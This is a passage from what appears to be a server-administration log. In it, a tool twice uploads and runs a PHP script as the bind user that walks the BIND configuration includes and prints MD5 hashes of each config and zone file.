MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:34:54: Establishing a connection
2026-04-22 22:34:54: 

PUT: /tmp/pkp179421

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:34:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp179421; rm /tmp/pkp179421'

2026-04-22 22:34:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:34:59: Establishing a connection
2026-04-22 22:34:59: 

PUT: /tmp/pkp799073

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:34:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp799073; rm /tmp/pkp799073'

2026-04-22 22:34:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
